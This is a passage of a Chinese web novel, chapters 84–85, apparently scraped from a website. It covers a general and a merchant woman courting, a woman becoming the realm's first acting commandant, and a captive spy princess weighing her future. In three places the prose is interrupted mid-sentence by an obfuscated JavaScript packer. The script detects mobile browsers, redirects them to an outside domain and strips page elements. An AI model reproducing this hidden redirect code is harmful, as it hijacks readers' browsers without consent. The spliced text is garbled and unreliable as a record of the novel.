“放心,放心,他们就算要打听,也不会在乎这些的。”韦祎为了让罗易放心,拆三表姐夫老底,“江大人十几岁就是杀人通缉犯,名声比你恶劣多了。” 杀人通缉犯?刚刚经历了栾凤的事情,不禁让罗易思考,难不成柳家的女婿,都是坏蛋吗? “不过他不是坏人啊。”韦祎立刻补充解释。 要发愁,就得愁一愁依照三表姐夫的性格,古道热肠嫉恶如仇,看到了罗曏那种人,会不会一个顺手就让他“失踪”?有三表姐跟着,应该不会?也不一定,三表姐看起来冷清,其实杀伐果断更甚于江畔。 本不准备写回信,这几位都是打算准了韦祎现在正出官差,哪儿都去不了,故意写些好玩的地方来馋人。看这情况,往东海写一封回信吧。 江畔的信里顺便交代了之前被韦祎扔过来的几个“麻烦”。东海有敌国的潜伏势力,所以他亲自出马去东海整治,之前,刚接到信就派人去东海附近寻找过周冲,按规定寻找一个周期未果,估算营救对象已经遇难。 另外就是明三和贺顼姑娘,已经介绍明三去魏家军了,他通过了考试,魏家军收他。 调查了贺顼姑娘完全不清楚他爹的事情,给她换了干净的身份,暂住京城,会被观察一年,之后就自由了。 “综上所述,我与三姑娘赴东海是正经公干!”江畔在信的末尾如是说。 罗易看着这封信之后也想起来:“原来,你找人去救周冲了。” “害他们白跑一趟。”韦祎摊手,那会儿还不知道这个傻子叛变。 “那位倒霉公主也是可怜,闯祸了,母国立刻翻脸不认她。若是她能预见到有今天这下场,也许就不会跑出来了。” “不一定是好事还是坏事。” “哦?你这么说,要放她走?” 韦祎心虚地点点头,罗易对此不置一词,把信件折起来,放回信封,整整齐齐地叠放在桌面上。 今天晚上就要出发去定沙郡,明天一大早可以到达,已经派一个华阳郡的府内官去报信,让定沙郡州府那边做好准备。 宣读了那份皇帝批评丕州太守的圣旨,最多住一两天就返回来,不凑他们定沙郡的热闹。 “要我们同你一起去吗?” “你若是无事去定沙郡,就在华阳多歇息几日,等我从定沙郡回来,又要上路了。” “那便如此。” 云攸纾是要随身携带的,就只带了云攸纾和钱氿两个人,芜夙先继续关在郡守府里,等回来了再放她走。 “我出城送你。” 有人出门送,竟然感到有些愉快。 隐隐约约还记得出使队伍在京城出发前是面圣领旨、百官城楼相送,排场大,一点都不受用,怪难受的。 得分是什么人送。 钱氿在一旁打量着,韦祎和罗易站在一起,中间隔开一臂远的距离,礼仪先生讲过,一臂远,够两个人拱手行礼,保持礼貌呢。 这二位刚刚来了个惊世骇俗的当众热吻,现在又开始保持礼仪,没意思,没好看的了。 送走了韦祎,罗易和秦琼慢悠悠地牵着马步行回郡守府,正值晚饭时分,这边有夜市,沿街左右摆开摊铺,灯火通明。 卖烤馕,烤羊肉,炖羊肉汤的最多,另外有糖柿子、蜜饯儿、卤鸡杂、辣鸭杂、鲜榨甘蔗汁、菊花蜜酒、薄荷熟水、甘草丹、山楂丸,买一路吃了一路,末了走到了一家戏园子,进去听了一折戏,喝了一壶茶,最终才往回走。 罗易觉得还成,味道就一般般,对口淡的东海人来说有些齁得慌了。跟着她们俩的张丙乙反而吃了个肚子圆,却坚持着不肯饮酒,和糖水一样淡的菊花蜜酒都不肯尝一尝。 秦琼打趣他:“张大哥,你是不是怕我们小姐去给韦将军告密啊?” “嘿嘿,没有,没有,这军规不在于被人监督,在于自我要求嘛。”张丙乙嘿嘿挠头笑,秦琼这姑娘好啊,又漂亮,做事爽利,还与大齐国的开国猛将秦公同名!正巧自己是个大光棍,怎么能不献殷勤? 这秦姑娘是对我有意思,还是没有?她对我说话,对我笑,还给我带些好吃的好玩的,但是她也给别人带啊! 前几天,钱氿翻着白眼制止单相思的张丙乙:“我劝你少打人家的主意,人家姑娘心中岂止男男女女那点小事?对你好是大家同路,给个面子,能真瞧上你这个呆瓜就怪了。” “对啊,氿哥,秦姑娘那么好,为何你一点都不动心呀,你不也打着光棍吗?” “因为我没你蠢。”钱氿继续翻白眼,“嘿!你管我呢?” 前来参与讨论的校尉变多了:“那氿哥你说咱们中郎将会娶罗小姐吗?” “会啊。”钱氿给出了肯定的答案。 “既然如此,为什么我和秦姑娘没指望呢?”张丙乙坚持己见,“等中郎将娶了罗小姐,罗小姐就会搬到京城来,秦姑娘一定能跟来京城,到时候大家抬头不见低头见,当然有机会了!” “抬头不见低头见?你谁啊你,你是我们城防军的吗?你不是禁军的吗,回京你就回禁军去咯!” “不成啊!我都出来跟了中郎将了,怎么回得去禁军,不得被我们曲将军弄死?氿哥你可千万要帮我,回京就把我给调过来。” “你找中郎将说去,这事我管不了那么宽。”钱氿又补充,“谁说中郎将一定得把罗小姐搬到京城来,说不定是中郎将去东海呢,你要不要跟去进东海海防啊?” “这个……”张丙乙迟疑了,好不容易混进了禁军,博了个好出身,若是真从这个圈子出去了,东海连军港都不是,平平静静地,去了那边就真是白费前十年的摸爬滚打。 不过,人要有追求,先追着,以后的事情以后再说。 这点代价都不敢付,还追求人家姑娘呢,钱氿嗤了一声。 回到郡守府,是夜里了,从侧门回到了客院。 郡守府一片缟素,但皇帝下旨说了,不准代郡守柳氏夫人废政守丧,郡城里面刚出了乱子,要她即刻重整华阳的夷务,安定民心,积极备战。 柳爚在华阳郡这些年已经打下了名声,百姓和僚属们都认可她,接手华阳郡并不难。 至于前郡守栾凤的丧事,等栾家把尸首拉回京城来,再隆重地办一次,柳爚也就不用出席了。 正合柳爚的意,让她给栾凤守丧三年?够恶心。 “罗小姐,您安寝了吗?”门外有个侍女敲门问候。 “还没有,姑娘快请进来说话。” “罗小姐客气,我们夫人有请。”侍女说。 “容我更衣,即刻便去。”自己身上一股烤羊肉的味儿,往炭盆里洒把檀香,赶快换一套衣裳熏一熏,把韦祎送走了,正好有事要去找柳爚说。 若是韦祎在郡守府里,随便躲个地方都能听见别人谈话,非得等他不在郡守府才行。 “小爚姐,恭喜。”罗易向来很能拍到痒处去,“古往今来头一位女郡守。” “多谢,此事当真出乎我意料之外,本想就要回京城去,连包裹行李都收拾了。”柳爚把罗易请进来,屋内并无他人,二人落座。“若是知道能有今天这结果,我下手该更干脆一些,何苦到了末了还要对他讲道理,差点被他给弄死。” 罗易笑笑,等柳爚开口。 “这次小祎要办的大事,家里跟我提起过,华阳要着手准备着配合接应。只是,我以为会是壹通跟他来,怎么换人了?” “只有子隽这一条线怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15153297|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成不了,我堂哥提前北上了。”罗易答道。 “喔,也对,也对,像是壹通会做的事情。那么,小祎知道了他要做什么吗?” “看他的样子,我猜是不知道。”罗易心里悄悄想,若是知道了,这么缺德的计策,肯定又要郁闷地开始抱怨。 “家里应该给他留密信了呀……”柳爚扶额。 “可能,还没看吧。这一路上意外的事情不少,也许没顾上。” “罢了,他不知道不一定是坏事,知道了才会不乐意。”柳爚决定不操心韦祎公差的事情了,不如多打探打探私事。“姑父和爹爹听见了你的事情可开心,尤其是我爹,都忘记数落我了,被我给混过去,你们怎么打算的,日后是你来京城,还是带小祎去东海?还有,逸希你若是因为这次的大事才被安排与小祎同行,你待他的情义,可是真心?” 嗯?怎么突然就转了话题? “堂哥早就打算了介绍我和子隽认识,我本不愿意。但出乎意料,子隽他与常人很不同,是我喜欢的,相对而言,我反而希望没有这次的事情,我与他之间才会进展得更顺利些。至于将来……哪里想了那么多,这一趟多有凶险,若能平安归来,再想不迟。” “是,你说得对,这次的棋局里面,原本只有壹通和子隽两个人的处境最凶险,现在又多了个你,你真能凑这个热闹,又不像他们似的会武功,不如你把小祎送到凉州就回到华阳等着?战火烧不到这里来,安全。” “好意我心领,只是,既然都开始了,这件事就是我的事情,不走到底,多没意思?” “逸希的胆识,柳爚佩服。”听人这么说,柳爚生出了敬意来,加以解释:“方才问你是否真心,我不是担心你骗他,小祎这人看似好摆布,实则八风吹不动,我是担心你。我爹常说,想成事,有些手段有必要,但为了手段把自己的真心埋没进去,就不值得了。我观你行事,并非俗人,是豪杰之辈,见之心喜,所以更不希望你因为小事而埋没本心。” 把社稷之事称为小事,却是为何? 难不成,人的本心,比天下社稷还要重吗? “爚姐一番良言,逸希受教。你才是古往今来头一位女郡守,开天辟地,说不定从此之后天下间将大有不同,我又岂敢在你面前称为豪杰。”罗易亦拱手为礼。 柳爚叹了一声,“我祖母虽官至大理寺卿,然而是冒充男子参加科考,最终也未能正名。我幼时曾问祖母为何放弃官位,她说,帝王、同僚原本都尊敬柳虞,待知晓了柳虞是个女子,却多有一番垂怜、追慕又贬低的意思在,令人觉得好生讽刺,不管从前如何,人都能为了男女之别转了态度,可见扮作男人来证明能力并无用处,不如放开手,恢复女子身份。” “是啊,此事确实奇怪。”罗易想到自己,点点头。 无论东海的罗老板生意做得多好,力挽狂澜把衰颓的东海罗氏扭转乾坤,别人的口中一样离不开“妇人”两个字。 打开窗户凝视着外面的峨眉新月,若真能把这个“代郡守”做好,日后,天下女子能走的路就宽了,是否可以算作继承祖母遗志? 隔一天的晚上,韦祎就回来了。 柳爚不在正房,于是他直接回客院,罗易的房间里,罗易正与柳爚煲了一大罐子“佛跳墙”吃。 “知道我今天回来,这么隆重欢迎我?”韦祎脸抽抽,佛跳墙,费时费力的好东西啊,放在京城都是年菜。怎么自己不在的时候,这二位想起来吃了? 柳爚:“运气不错嘛,这就回来了,赶上好时候,也得一碗吃。” 鸡、鸭、猪骨、火腿、蹄筋都易得,不过什么鲍鱼海参花胶鱼翅这些海味在华阳是金贵吃食,买得起,平时也不吃,传出去让人说闲话。干货海味都是罗易带来,本想作为恭贺柳爚得官的贺礼,柳爚说她可不能收礼了,再说,都快成一家人了,什么礼不礼的。 二人一合计,直接吃了岂不正好?出门两个月,罗易也馋海味了。 此时,一身缟素,头戴素绢花的柳爚捧着碗,拿平日都吃不着的“大荤”大快朵颐。 “子隽快坐,才一日的时间就办结了,可见事情顺利?” “哎?先不说这个,你俩为什么要等我出门去才炖佛跳墙?” “你是吃还是不吃?”正在罐子里盛菜的柳爚停手了,威胁道。 “吃。” 84. 三代人 这一趟出去意想不到地顺利,丕州太守四十多岁,戍边武将出身,改错态度竟然非常端正!真心对治军不严万分愧疚,对韦祎的态度让韦祎受宠若惊,怪肉麻。 更不能多留了,白天随便转转,歇息了一晚上,第二天一早就出门回华阳,刚好傍晚到达,吃到了佛跳墙。 “喔,我记得,他是个好人,政见理念上算是咱们一派的。”柳爚说。 “灵均说丕州太守府对他多有刁难,都是一派的,刁难什么?” “同一派自有相争的时候,太守有些看不上文官,更看不上靠当柳家女婿博上位的文官,所以找灵均不痛快,换成对你,态度就不同了。再者,长史年迈,往年在丕州颇有威信,能与太守争锋,结果长史一来华阳就死了,正好帮太守除掉了这位心腹大患,从此一人独大,卧榻之侧再无人觊觎,太守怎能不开心?” 韦祎担忧起来:“日后换成你做华阳郡守,他会不会刁难你啊?” “他嘛,我往日见他算是个知晓道理的人,太平盛世时内斗当个消遣,即将大战,他不会再对内刁难的。”柳爚眯起眼来,“就算他刁难我,难不成我怕了他,州里在我这安插钉子,我就不能往他那里放暗探?把柄,不是没有。” 一阵寒意掠过脊背,我安安静静吃饭吧,她的事情用不着我瞎担心,韦祎想。 除了大乱那日亲了一口,抱了两下子之外,一直到今天,罗易都没有再行“不轨”之举。两个人好似又回到了之前的一个多月,有事说事,无事便一起随便走走,说些闲话而已。 韦祎心里奇怪,但是罗易不对自己“来硬的”也正好,再来一次就不好拒绝了。正好自己没做好足够的心理准备,进展太快有点吓人,慢慢来,慢慢来。 一朝回到表白前是不是太惨了点?难不成我有什么行径令她不满? 仔细反思,除了那次白天给她生炭盆把她热醒之外,没干什么坏事啊。 吃好了佛跳墙,把柳爚送回前面的正房,韦祎回去沐浴,更衣,又出来敲罗易的房门,“罗小姐,请问您安寝了吗?” 罗易无奈地打开了房门,“韦将军的嗓子若是再尖些,我就信了。” “还没换衣裳啊,正好,我们去后园走走?” “待我去披件外衣。” 穿了一件外套,两人一起出门去了。 走到了后园,正落叶的季节,府内丧期,后园无人打扫,地上积满了落叶,踩上去软软的,而且,因为有落叶,易燃,怕走水,索性连灯都不点了。 远看,有一盏灯笼正悬浮着飘在后园的小路上,缓缓移动,这就是正在深夜散步的韦祎和罗易。 “这两日我不在,倒霉公主可还安分?有没有不寻常的事情?” “谈不上安分,和往日一样。不寻常的事情倒是没有,城北横街那边有一间卖上等玉石的铺子,我仔细看过,十足的好玉料,前些日子订了一支新发簪,今天做好了,我给取回来了。” 摊开手,赫然一支暗烟紫色的发簪,半透明,打磨得很圆润,簪头简单雕了半朵祥云。 双手接过,举到齐胸高,“多谢厚赠。” “干嘛这么客气?灯笼举这么高,怕别人看不见我们在这呀。” 簪子揣起来,把灯笼放低。 可能是她看不下去我每天都戴同一根发簪,哎呀呀,我没什么东西送她,这些日子她好像送了我不少东西,乌木剑也算是她送的,越欠越多了。 挺有距离的,两人之中低低的隔着个灯笼,刚好能照亮脚下一小片路。 “想什么呢?不说话。” “投我以木桃,报之以琼瑶。我在想能送你什么。”韦祎回答,“衣裳是你的,白玉簪是你送的,剑也是。” “怎么样,被人包了一整套的感觉是不是挺好?”罗易借着微弱的灯光瞧一瞧,露出一抹诡计得逞的笑意,还真是,韦祎现在的打扮和初见时一身深色,头上包着闷闷的黑幞头的样子完全不同了,顺眼多了。 “嗯,好呀,怪不得世上有那么多美男子要找贵妇人当靠山,真是好。” 罗易发出一串笑声:“灯笼换手拿。等我想想,先记账。” 灯笼换到另一边,顺势往罗易那边靠近了一步,罗易顺利地把韦祎的手抓过来牵着。 “有人评你说,你这人看似好摆布,实则八风吹不动,你觉得如何?” “谁呀,爚姐还是壹通还是钱氿啊?” “看看,我们共同熟人太少了,这么说像是我和别人背地里议论你一样,就别问是谁了。” 谁呢?壹通不会这么讲,哪次不是他摆布我?钱氿应该不会背地里讲,那就只会是小爚姐了呗。“好,我觉得,前半句说的挺对。” 八风吹不动,我哪有?都想着要随便混一混辞官了,还是被迫升官出来办差事。 罗易也想,是啊,哪有八风吹不动,虽然认识了没多久,但这人好像很容易被改造:“你不喜欢什么,我还能看出来些,至于你喜欢什么,我就没看出来了,很少有这种人,不如你直接告诉我,你有什么喜欢的,方便我投你所好。” 上层社会的人,哪个没有些风雅爱好? “偏门的?我……会杀猪,会种庄稼,会腌咸鱼,会砌墙,还会吹唢呐,但也不是喜欢,谁会喜欢杀猪?一身怪味儿。” 对于个公子哥儿来讲,是够偏门的,罗易不禁想象了一下那个场景,滑稽。“你被猪咬这件事,是杀猪的因,还是会杀猪的果?” 这个问题很有逻辑性啊,韦祎暗自分析,得出结论,“是果不是因。”若是因为被猪咬了才去学杀猪,报复心也太强了。 “我也会弹古琴。”加一句解释,师父教这些孩子琴棋书画总得会一样吧,有备无患,以后会用上的。 韦祎弹的古琴,师父评价:像是背课文。音律和技法都没错,就是没有高雅意境。 罗晏也存在这个问题,他选的学画,画技过关,总感觉不太高雅,画一个树丛都会让人觉得树丛后面有人正在弄些风情勾当。能做到这种程度也算是某种天赋高手,所以,他在不高雅的作画之路上疾驰而去,誓不回头。 “你有什么喜欢的?透露点内部消息给我,好让我有准备回礼的方向。” “我……我好像没有什么特别喜欢的。” 韦祎也发现,罗易一向为了目的而做事,这一路上没有看见她特别喜欢吃什么,用什么。至于喜欢浅色的衣裳嘛,对她来讲,在外面不方便洗衣服的时候,就穿深色。 不知不觉又聊到了柳爚成为代郡守的事情。 “这可是大事,我听说的时候,比看到我们镖局夺魁还开心。”罗易说。 当时那会儿,韦祎真没看出来罗易有特别高兴。 “开心就要让人看出来啊?”罗易立刻反问。 “自我朝始皇帝打天下时,就有计划要男女同科考,同选官,共有对等的家业继承权。”在宫里的时候看了不少档案,有些事情很值得记住,“只是当时要废蓄奴制度,已经惹得天下哗然,再推男女同选官,反对的声音就太大了,有些保守派风传他想要推行男女同官是被妫姓封国的女国主迷惑了心智,众口铄金,强如始皇帝也招架不住。” “是吗?” “嗯,到先帝时,先帝比始皇帝更保守,他想,废奴尚且不稳,中原都没有彻底统一,再去动内部秩序之根本,不可行,所以阻拦了我外祖母在官位上恢复女子身份。” 韦祎没说,先帝甚至想把柳凿收进后宫呢,先帝想的是,这么有才华的女子,虽然生得不美,但生孩子一定天资聪颖,当母亲也很会教导。 呵,恶心。 再后来,假身份的柳虞失踪,柳凿恢复女子身之后在太学开设女学堂,收官宦人家的女孩去学习,颇教导出几位有志气的才女。 有什么用呢?到了年纪要么选进宫中,要么就嫁为人妇,巩固家族利益。 先帝年迈之后,在宫中设立过一个协理政务的女官角色,柳凿很高兴,鼓励几位官宦人家的小姐考进去了。 进去之后才发现,这个劳什子女官和后宫嫔妃没有区别,年纪大了不好意思再纳宫妃,借着这个女官的借口找些年轻有才的女孩侍候那个皇位上的老头子而已。 柳凿甚为愧疚,因此告老,辞去了太学老师的工作,游历天下去了。 到了这段时间,柳卞这一代成长起来,逐渐扶持了如今的皇帝登上宝座。 太学里的女班如今还存在,转化成了宫廷礼仪教养班而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178145|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当今皇帝和柳卞等人多次想要再改继承制,反对的声音仍然多。近日机缘巧合,令柳爚当华阳郡的代郡守,又是一次新的尝试,柳爚也很乐意成为这次尝试的先锋。 “民间反对男女同继承的理由不过是,男人能干农活,能服兵役。其实各国的屯田军,多为男子训练,女军属种田。大齐国内更有成熟的农牛、农马繁殖技术,农活虽然辛苦,但唯有男子能种田是无稽之谈。” 几十年前,有个齐国的农官发明了一种稻谷脱壳机,用牛像拉磨一样拉动,就能带动机关,让稻谷脱壳,再不用人力摔打,若是加上几个齿轮机关,小孩子的力量都能拉得动。因此,又有进步派的政客提出推进新继承制。 “我猜,结果并不好。”罗易说出了答案。 “是啊,此话一出,民间竟然开始抹黑这种稻谷脱壳的机关,什么有违天地常理,要遭天谴之类的,不仅没能推广开来,发明这种机关的农官不堪抹黑,投河了。嗐,在宫里值夜班的时候怕困倦,就拿几本档案看,看了保准七窍生烟绝对睡不着。” 当时皇帝挺幸灾乐祸,哈!朕小时候看了就生气得很,又多一个人一起! “我现在也七窍生烟了。”罗易撇嘴。 “哎呀,抱歉,这月亮下落叶前的,怎么又说这些事情。” “无妨,无妨,就算不说,这些事情也存在不是?” 若说罗晏对于世界的认识来源于满世界溜达亲身体验,混过制作禁药的深山村落,跑去当过海盗。韦祎对世界的认识多来源于七窍生烟地看档案。 “只是,我也听人说,有些人是因为自己很安全,才觉得继承制之类的东西无关紧要,试着想一想,我若是,嗯,像罗曏那样什么都不会什么都不行,恐怕也要害怕唯一剩下的继承权被其他人抢占吧。” 这个例子并不好,但是共同熟人太少,只能拿罗曏来举例子。 “呵,罗曏什么都不行,他怎么不行,他会杀人会坐牢呢。”罗易又撇嘴。 “那个,这件事,我好像也行啊。”韦祎小声说。 罗易没有不开心,黑暗里露出八颗白牙笑起来,摸黑戳了一下韦祎,也不知道戳到哪里了:“嘿,行?什么行啊?嗯?” 话题朝着奇怪的方向疾驰而去。“嗯……该行的都行。” “等什么时候证实了再说。” 现在,说的绝对不是杀人这件事了。 又往前走了几步,罗易突然停住:“子隽,表演个铁板桥。” “啊?刚沐浴,才不要往地上倒。”这是什么要求,多奇怪啊,要不要我给她表演个蹲马步双手同时抄古文?难不成,要在这黑漆漆的后园里干些什么? “还说自己行呢。” “换一个呗。” 最终说定,韦祎翻了个空心跟头。 “腰力不错嘛。”罗易一副油腻老大爷的样子摸了摸下巴,“往回走吧,我鼻子都冻得凉凉的了。” “喂……” “返璞归真,不错。” 饱含着利益或者情欲的恋情套路对罗易来说很熟悉,速战速决,以最快的速度换来自己需要的。这段时间宛若回到少年时,像是情窦初开一样在黑暗的园子里偷偷牵着手散步,格外令人心情愉快。 罗易少年时可并没有在园子里偷偷散步的好心情,正赶上罗曏杀人,家业败落的那段时间,忙着重整家业。 她在暗示我很幼稚吗?韦祎想。 走出后园,有来往巡逻的府兵和值班的府内官,灯笼又回到了中间,把二人隔开。 等到听见了芜夙又在屋子里开始砸铁笼以及云攸纾:“韦子隽你又和逸希姐姐单独出去!”的大叫,拉回现实来,这两个小崽子好烦。 “快去睡觉,天都凉下来了,穿着里衣就敢开窗户,风寒怎么办?今天没叫你练剑术,明天补上双份的。”韦祎适时地又靠近罗易一步,把云攸纾气得干瞪眼。 “你是不是人啊韦子隽,今天骑了一整天的马,我腿现在还是麻的!” 韦祎摊开手,微笑:“多骑,麻着麻着就习惯了,都是这样的。” 那边,芜夙仍然在烦躁地踢笼子。 西域盟国已经放弃这个不听话的棋子,这一位将来要何去何从呢? 85. 啼血鹃 罗易:“去看看。” 韦祎点头,临走前威胁云攸纾,“你就算现在不去睡觉,我明早也会按时叫你的。” 外门打开,房间内部的陈设与普通客房没什么不同,只是,床铺和一应生活用品被一道结实的铁栏杆隔住了。 “什么事。” “听到了这里有动静,过来看看。”罗易笑着颔首。 “是你?还有这个死断袖。你怎么不称呼我公主娘娘了?” “有个消息,说不准是好消息坏消息,请你听一听。”罗易回答,然后伸出手,给韦祎做了个请的手势,“子隽说吧。” “为什么是我说?”韦祎不乐意,刚才都是罗易在说话。 “说不准她开心不开心的事情,你来宣布更好。” “京城已经来信了,西域盟国说查清了没有你这一位公主,所以……” “哼,所以你可以把我处理掉?”芜夙冷声回答。 “所以,不知道你是干嘛的,算起来,你只伤了周冲,他现在也变坏人了,我没必要追究你,隔天我们出发,顺便把你带出城,你……想去哪儿就去哪儿,赶快出境,别再来大齐了。” 脸色阴沉,咬着牙不知道在想什么。 临出门前,韦祎补了一句,“行囊会给你收拾好,你的东西我都存好了,一样不少。” 芜夙又踢了一脚铁笼。 告诉别人他要帮着收拾行囊,太没有大人物风范了,大人物此时应该不动声色地冷哼一声,门会自动打开,然后披风挥起一阵风,气势十足地离场。 “说不定,以后可以做朋友呢。”罗易也回过头去,眼睛弯弯地笑了一下。 怎么办?怎么办?他们说的是不是真的? 作为密探培养长大的芜夙当然清楚一旦暴露就要被舍弃的硬性规则。 但是,自己是即将嫁到齐国皇宫的重要暗探啊,怎么会呢? 这个时候,她倒是忘了,是她自己不想要嫁的。 西秦盟主国会来追杀清除我吗?如果不会,我接下来要做什么? 想到了一个可能性,永远地隐居在市井当中?就像是这一次出来,在东齐的各个州郡当中的小老百姓一样。说不定,可以包下一片杜鹃花田,以后都不用偷偷去买花放在屋里了。 小时候第一次出门去做潜伏训练,扮演送花的小女孩儿。 西域的沙子里不长杜鹃花。 富贵人家喜欢,就有人从绿洲挖来土,一车又一车堆成花田,在花田上面用木头做成镂空的顶棚,盖上透气的薄毡布,白日把毡子打开,只晒固定的时辰,到了时候就要赶快盖上毡布保持低温,不停地洒水,竟然真的能长出娇艳的杜鹃花苞。 摘下来,以最快的速度从郊外送到富人家,让花朵绽放在水晶琉璃瓶子上。 送花小女孩的任务是取得那个爱花贵妇的关注,留在贵妇身边,找机会拿到贵妇人丈夫手中的一份机密名单。 沙漠里都能把这种花朵种出来,太神奇了,为了留在花田,芜夙根本没有去完成任务目标,都三个月了,贵妇还是不认识她。 诚然最终评定的时候被罚得很惨。 他们这些自小受训的密探,房间里不准有私人物品。有喜欢的东西,就会心智不坚,很容易就被人引诱控制了。 芜夙曾问罗易,你喜欢杜鹃吗? 罗易说,杜鹃好啊。 从此之后,到了能买花的地方,罗易时不时就会捧来一束杜鹃放在芜夙住的房里。 她好像没那么喜欢杜鹃。 “那你喜欢什么花?” “花?梅冷峻,兰幽静,菊花有风骨,杜鹃娇艳浓烈,都不错。”罗易回答,她好像不喜欢什么花。 “那你喜欢什么?” 罗易想了想,没回答,看神情,她大概想不到自己有什么喜欢的。 难道,这就是传说中,没有弱点的人吗? 她明明不是受训的密探,只不过是东齐国一个离经叛道的女商人而已,凭什么她就没有弱点。 东齐好太多,不用去别处运土,不用在花田上盖难看的褐色毡子,在地上插个花枝就能长出杜鹃来! 向真正的卖花小姑娘打听了,东齐的杜鹃长在半山腰上。 找座山,远远看着山腰上有一片红,顺着这一抹颜色爬上去,果然,有花田。 种花的农民看见有个长相奇特的异国小姑娘在看,送了她好几枝被剪下来的次级花。 在这个地方要被淘汰的次级花朵,都比沙漠里勉勉强强长出来的最上等花朵娇艳。 “小姑娘,这些花送给你戴。” “小姑娘?”芜夙用生硬的汉语反问,“你们,不觉得我的长相与你们不同吗?” 为首的花农回答:“那当然啦,西域的小姑娘也是小姑娘啊。”紧接着就与身边的农人们唠了起来,“我儿子跟着商队走南闯北,认识好几个西域人呢!他跟我讲,有一个蓝眼睛黑皮肤的大个子,汉话讲得特别好!” “是你儿子见过,又不是你跟着商队出去了,你有什么可吹的。”众人起哄。 一农妇拉起芜夙的手,认认真真地打量了一圈,“西域人就是好,咱们汉人的眼睛都是黑眼仁,不似西域小姑娘这么漂亮,像是富贵人家里头供在桌案上的琉璃珠子!” “对对对,我家幺妹总是拿着烤热的铁棒卷头发,烫过之后就是勾勾卷卷的,怪好看,你们西域人不用铁棒子烫头发就卷了,我幺妹臭美,差点把头发给烧了!”另一个农妇过来摸了摸芜夙的头发,帮她簪了一朵杜鹃花在鬓边。 说了两句话,大家各自回去做事,又剩下芜夙一个人在田边观望。 不远处有个养蜂人搭的窝棚,二十几个蜂箱罗列在花田附近,一个妇人在窝棚门口生火烧饭,她男人从山里的小路上钻出来,背着一捆枯枝,咯吱窝下面夹着一只野兔,空出一只手来抽烟袋锅子。 “敢进林子里抽烟袋,放火烧山啊,挨千刀的!”养蜂妇人骂,“让你快些捡柴回来,你去追兔子,饭做了一半,火都灭了!今天吃生米吧!” 养蜂男人缩缩脖子不敢说话。花田干活的农人们听见了一齐哄笑,互相招呼着回家吃午饭去。 奇怪了,东齐是汉人的国度啊,这一路走来,竟然没有见过谁对着我跳脚,走在街上无人啐我,这些山里种花的东齐百姓,并不觉得我是怪物。 不太对吧,西秦也是汉人的国度,西秦国就在西域,西秦国人应该见过更多的胡人血统,为什么五年前去西秦国参加培训时,西秦国的人都要叫我“灰眼睛的脏东西”?西秦王室派人接见所有的学员,故意避开我,不准我触摸他的手行礼。 月氏国人和祜胡国人都是深肤色大鼻子卷头发的胡人,为何西秦国人不会把他们称作脏东西。 带着疑惑回到了荆芜,去问同学、教头,对此讳莫如深,不准讨论。 便以为东齐国也是一样的,把相貌不同的人看作是怪物。 他们没有,他们甚至很羡慕我的眼睛和头发,还有人夸我的高鼻梁。 东齐国很不同。 怪不得在西域时总能听到人讨论东齐国的强大与可怕,没到东齐国几天,芜夙甚至一度想到,成为嫁到东齐国来的和亲公主也不错啊。 死断袖将军和那个女商人说的怎么会是真的,我还要帮助国王重振荆芜国。怎么可以就这样放弃,自己的使命可绝对不是成为享乐的公主,为了几朵漂亮的杜鹃花就放弃了使命,这太软弱了。 另一边,盘算下来,赶上了这次郡城内乱的机会,加之开战在即,又因为近年的积极表现赢得了华阳百姓的民心,柳爚意外成为了大齐的第一位女郡守。 若说开心吗,有那么一点,和罗易差不多,就开心那么一瞬间。 是沉重的。 巧了,要装作寡妇,不能太开心。 父亲说,他做的事情就像是愚公移山。 愚公移山没有成功,是天神移动了山脉。 最终会不会等来一个天赐的转机? 也许会,也许不会,也许转机在千年之后。在此之前,愚公一家做的一切都是徒劳的。 “大齐看似强盛,却也脆弱,只需有一两个昏君出现,只需有一群腐朽的官员把持朝政,只需有几次大天灾,我们如今做的一切努力全都要白费,这一代人的寿命很快就会耗尽,再有转机将不知何时。” 与罗易聊天之后,这种沉重的感觉传导到了罗易身上。 “你说,千年之后,这世间会没有贪腐,众生平等吗?” “千年之后?也许到了千年之后,再不会有人被贪官害死,没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“给你看个好玩的。”两人并肩在林子里走了走,落叶的季节,树上没有新鲜叶子,一捏就碎的干叶子,不行。 “才十月末,这个时候,东海的叶子还没全落下,丕州冷得早啊,我看再过些天就要下雪了。” “没有树叶了。”有点沮丧。 祸害了郡守府落叶晚的树,韦祎用树叶当作暗器的能力稍有小成,叶子也正巧都落光了。 “前面有冬青。” 褐色的树林里,剩下一两颗长绿叶子的矮树。 “冬青不是很高吗?” “西边不适合长冬青吧,所以都这么矮。” 摘下一片树叶来,在指尖旋转两圈,平平地飘飞了出去,飞了两丈多远,击碎了一根小手指粗细的树枝。 “咔嚓”一声,断枝落在地上。 罗易歪歪头。 她看到了韦祎期待夸奖的眼神,但她不知道说点什么好。 “厉害呀,子隽。” “嗯!多谢夸奖!” 这就可以了,这位好像也没有期待什么特别的夸奖。 “这段时间都看见你从树上拽叶子,这很难吧?” “也没有很难。” “你们出关去西域,大概多久能返回来?” 